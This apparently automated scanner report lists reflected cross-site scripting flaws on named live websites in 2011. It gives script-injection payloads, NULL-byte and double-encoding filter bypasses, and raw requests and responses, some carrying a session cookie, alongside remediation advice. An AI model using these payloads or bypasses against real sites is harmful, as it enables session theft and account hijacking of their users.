Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the obj request parameter is copied into the HTML document as plain text between tags. The payload 648db<script>alert(1)</script>703ca35d918 was submitted in the obj parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>SGRH</title> <style type="text/css"> <!-- body,td,th { fo ...[SNIP]... <div class="hideDiv"> La stacktrace : net.noheto.sgrecrut.exception.SgrhException: Erreur inattendue! Erreur inattendue! La requ.te suivante a provoqu. une erreur : select count(*) from T_hometrs648db<script>alert(1)</script>703ca35d918 where pid = '50' AND plang = '1' You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '<script> ...[SNIP]...
The value of the obj request parameter is copied into the HTML document as plain text between tags. The payload b606a<script>alert(1)</script>4ea6b445b79 was submitted in the obj parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>SGRH</title> <style type="text/css"> <!-- body,td,th { fo ...[SNIP]... <div class="hideDiv"> La stacktrace : net.noheto.sgrecrut.exception.SgrhException: Erreur inattendue! Erreur inattendue! La requ.te suivante a provoqu. une erreur : select count(*) from T_hometrsb606a<script>alert(1)</script>4ea6b445b79 where pid = '50' AND plang = '1' You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '<script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %00a7550"><script>alert(1)</script>402b3cbaeea was submitted in the REST URL parameter 1. This input was echoed as a7550"><script>alert(1)</script>402b3cbaeea in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /submit%00a7550"><script>alert(1)</script>402b3cbaeea HTTP/1.1 Host: digg.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 57935"><script>alert(1)</script>9247556e39d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Accueil57935"><script>alert(1)</script>9247556e39d/Politique-Sociale-et-Environnementale/La-Fonction-Achats-Groupe HTTP/1.1 Host: rse.societegenerale.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 12 Sep 2011 11:10:39 GMT Server: Apache/2.2.3 (Debian) PHP/5.2.0-8+etch16 X-Powered-By: eZ Publish Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Last-Modified: Mon, 12 Sep 2011 11:10:39 GMT Served-by: rse.societegenerale.com Content-language: fr-FR Status: 404 Not Found Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 42546
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr-FR" ...[SNIP]... <a href="http://rse.socgen.com/Accueil57935"><script>alert(1)</script>9247556e39d/Politique-Sociale-et-Environnementale/La-Fonction-Achats-Groupe"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 807af"><script>alert(1)</script>c7cc9dab4ae was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Accueil/Politique-Sociale-et-Environnementale807af"><script>alert(1)</script>c7cc9dab4ae/La-Fonction-Achats-Groupe HTTP/1.1 Host: rse.societegenerale.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 12 Sep 2011 11:10:43 GMT Server: Apache/2.2.3 (Debian) PHP/5.2.0-8+etch16 X-Powered-By: eZ Publish Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Last-Modified: Mon, 12 Sep 2011 11:10:43 GMT Served-by: rse.societegenerale.com Content-language: fr-FR Status: 404 Not Found Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 42546
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr-FR" ...[SNIP]... <a href="http://rse.socgen.com/Accueil/Politique-Sociale-et-Environnementale807af"><script>alert(1)</script>c7cc9dab4ae/La-Fonction-Achats-Groupe"> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6b3e8"><script>alert(1)</script>c3e88eb9762 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Accueil/Politique-Sociale-et-Environnementale/La-Fonction-Achats-Groupe6b3e8"><script>alert(1)</script>c3e88eb9762 HTTP/1.1 Host: rse.societegenerale.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 12 Sep 2011 11:10:47 GMT Server: Apache/2.2.3 (Debian) PHP/5.2.0-8+etch16 X-Powered-By: eZ Publish Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Last-Modified: Mon, 12 Sep 2011 11:10:47 GMT Served-by: rse.societegenerale.com Content-language: fr-FR Status: 404 Not Found Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 42546
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr-FR" ...[SNIP]... <a href="http://rse.socgen.com/Accueil/Politique-Sociale-et-Environnementale/La-Fonction-Achats-Groupe6b3e8"><script>alert(1)</script>c3e88eb9762"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1c43d"><script>alert(1)</script>e3de641d6a3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /extension1c43d"><script>alert(1)</script>e3de641d6a3/sg_refonte_templates/design/sg_refonte/images/favicon.ico HTTP/1.1 Host: rse.societegenerale.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Cookie: eZSESSIDsg_refonte=f86bab0bfd8a503a8211bdeec2798390
Response
HTTP/1.1 404 Not Found Date: Mon, 12 Sep 2011 11:18:06 GMT Server: Apache/2.2.3 (Debian) PHP/5.2.0-8+etch16 X-Powered-By: eZ Publish Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Last-Modified: Mon, 12 Sep 2011 11:18:06 GMT Served-by: rse.societegenerale.com Content-language: fr-FR Status: 404 Not Found Content-Type: text/html; charset=utf-8 Content-Length: 42534
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr-FR" ...[SNIP]... <a href="http://rse.socgen.com/extension1c43d"><script>alert(1)</script>e3de641d6a3/sg_refonte_templates/design/sg_refonte/images/favicon.ico"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 56ece"><script>alert(1)</script>bf98be68e6e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /extension/sg_refonte_templates56ece"><script>alert(1)</script>bf98be68e6e/design/sg_refonte/images/favicon.ico HTTP/1.1 Host: rse.societegenerale.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Cookie: eZSESSIDsg_refonte=f86bab0bfd8a503a8211bdeec2798390
Response
HTTP/1.1 404 Not Found Date: Mon, 12 Sep 2011 11:18:10 GMT Server: Apache/2.2.3 (Debian) PHP/5.2.0-8+etch16 X-Powered-By: eZ Publish Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Last-Modified: Mon, 12 Sep 2011 11:18:10 GMT Served-by: rse.societegenerale.com Content-language: fr-FR Status: 404 Not Found Content-Type: text/html; charset=utf-8 Content-Length: 42534
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr-FR" ...[SNIP]... <a href="http://rse.socgen.com/extension/sg_refonte_templates56ece"><script>alert(1)</script>bf98be68e6e/design/sg_refonte/images/favicon.ico"> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 41cbe"><script>alert(1)</script>af9f7909130 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /extension/sg_refonte_templates/design41cbe"><script>alert(1)</script>af9f7909130/sg_refonte/images/favicon.ico HTTP/1.1 Host: rse.societegenerale.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Cookie: eZSESSIDsg_refonte=f86bab0bfd8a503a8211bdeec2798390
Response
HTTP/1.1 404 Not Found Date: Mon, 12 Sep 2011 11:18:14 GMT Server: Apache/2.2.3 (Debian) PHP/5.2.0-8+etch16 X-Powered-By: eZ Publish Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Last-Modified: Mon, 12 Sep 2011 11:18:14 GMT Served-by: rse.societegenerale.com Content-language: fr-FR Status: 404 Not Found Content-Type: text/html; charset=utf-8 Content-Length: 42534
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr-FR" ...[SNIP]... <a href="http://rse.socgen.com/extension/sg_refonte_templates/design41cbe"><script>alert(1)</script>af9f7909130/sg_refonte/images/favicon.ico"> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4e68c"><script>alert(1)</script>1cfa3966f4 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /extension/sg_refonte_templates/design/sg_refonte4e68c"><script>alert(1)</script>1cfa3966f4/images/favicon.ico HTTP/1.1 Host: rse.societegenerale.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Cookie: eZSESSIDsg_refonte=f86bab0bfd8a503a8211bdeec2798390
Response
HTTP/1.1 404 Not Found Date: Mon, 12 Sep 2011 11:18:18 GMT Server: Apache/2.2.3 (Debian) PHP/5.2.0-8+etch16 X-Powered-By: eZ Publish Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Last-Modified: Mon, 12 Sep 2011 11:18:18 GMT Served-by: rse.societegenerale.com Content-language: fr-FR Status: 404 Not Found Content-Type: text/html; charset=utf-8 Content-Length: 42531
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr-FR" ...[SNIP]... <a href="http://rse.socgen.com/extension/sg_refonte_templates/design/sg_refonte4e68c"><script>alert(1)</script>1cfa3966f4/images/favicon.ico"> ...[SNIP]...
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 78b26"><script>alert(1)</script>6eed5d64e52 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /extension/sg_refonte_templates/design/sg_refonte/images78b26"><script>alert(1)</script>6eed5d64e52/favicon.ico HTTP/1.1 Host: rse.societegenerale.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Cookie: eZSESSIDsg_refonte=f86bab0bfd8a503a8211bdeec2798390
Response
HTTP/1.1 404 Not Found Date: Mon, 12 Sep 2011 11:18:22 GMT Server: Apache/2.2.3 (Debian) PHP/5.2.0-8+etch16 X-Powered-By: eZ Publish Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Last-Modified: Mon, 12 Sep 2011 11:18:22 GMT Served-by: rse.societegenerale.com Content-language: fr-FR Status: 404 Not Found Content-Type: text/html; charset=utf-8 Content-Length: 42534
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr-FR" ...[SNIP]... <a href="http://rse.socgen.com/extension/sg_refonte_templates/design/sg_refonte/images78b26"><script>alert(1)</script>6eed5d64e52/favicon.ico"> ...[SNIP]...
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bf058"><script>alert(1)</script>99f4c3661b6 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /extension/sg_refonte_templates/design/sg_refonte/images/favicon.icobf058"><script>alert(1)</script>99f4c3661b6 HTTP/1.1 Host: rse.societegenerale.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Cookie: eZSESSIDsg_refonte=f86bab0bfd8a503a8211bdeec2798390
Response
HTTP/1.1 404 Not Found Date: Mon, 12 Sep 2011 11:18:27 GMT Server: Apache/2.2.3 (Debian) PHP/5.2.0-8+etch16 X-Powered-By: eZ Publish Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Last-Modified: Mon, 12 Sep 2011 11:18:27 GMT Served-by: rse.societegenerale.com Content-language: fr-FR Status: 404 Not Found Content-Type: text/html; charset=utf-8 Content-Length: 42534
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr-FR" ...[SNIP]... <a href="http://rse.socgen.com/extension/sg_refonte_templates/design/sg_refonte/images/favicon.icobf058"><script>alert(1)</script>99f4c3661b6"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cbaab"-alert(1)-"eb82badebaf was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /bookmark.phpcbaab"-alert(1)-"eb82badebaf HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Mon, 12 Sep 2011 11:21:56 GMT Server: Apache X-Powered-By: PHP/5.3.3 Vary: Accept-Encoding Content-Length: 1307 Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Not found</title> <l ...[SNIP]... <script type="text/javascript"> var u = "/404/bookmark.phpcbaab"-alert(1)-"eb82badebaf"; if (window._gat) { var gaPageTracker = _gat._getTracker("UA-1170033-1"); gaPageTracker._setDomainName("www.addthis.com"); gaPageTracker._trackPageview(u); } </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload f6ad5<script>alert(1)</script>e24fe192af1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /bookmark.phpf6ad5<script>alert(1)</script>e24fe192af1 HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Mon, 12 Sep 2011 11:21:56 GMT Server: Apache X-Powered-By: PHP/5.3.3 Vary: Accept-Encoding Content-Length: 1333 Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Not found</title> <l ...[SNIP]... <strong>bookmark.phpf6ad5<script>alert(1)</script>e24fe192af1</strong> ...[SNIP]...
1.15. http://www.addthis.com/bookmark.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.addthis.com
Path:
/bookmark.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fcb3c"-alert(1)-"316d49231fc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /bookmark.php/fcb3c"-alert(1)-"316d49231fc HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload 63d52%253cscript%253ealert%25281%2529%253c%252fscript%253effb4c69d217 was submitted in the Referer HTTP header. This input was echoed as 63d52<script>alert(1)</script>ffb4c69d217 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the Referer HTTP header as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /bookmark.php HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=63d52%253cscript%253ealert%25281%2529%253c%252fscript%253effb4c69d217
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 98cf8%2522%253balert%25281%2529%252f%252f69d7535b711 was submitted in the Referer HTTP header. This input was echoed as 98cf8";alert(1)//69d7535b711 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of the Referer HTTP header as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /bookmark.php HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=98cf8%2522%253balert%25281%2529%252f%252f69d7535b711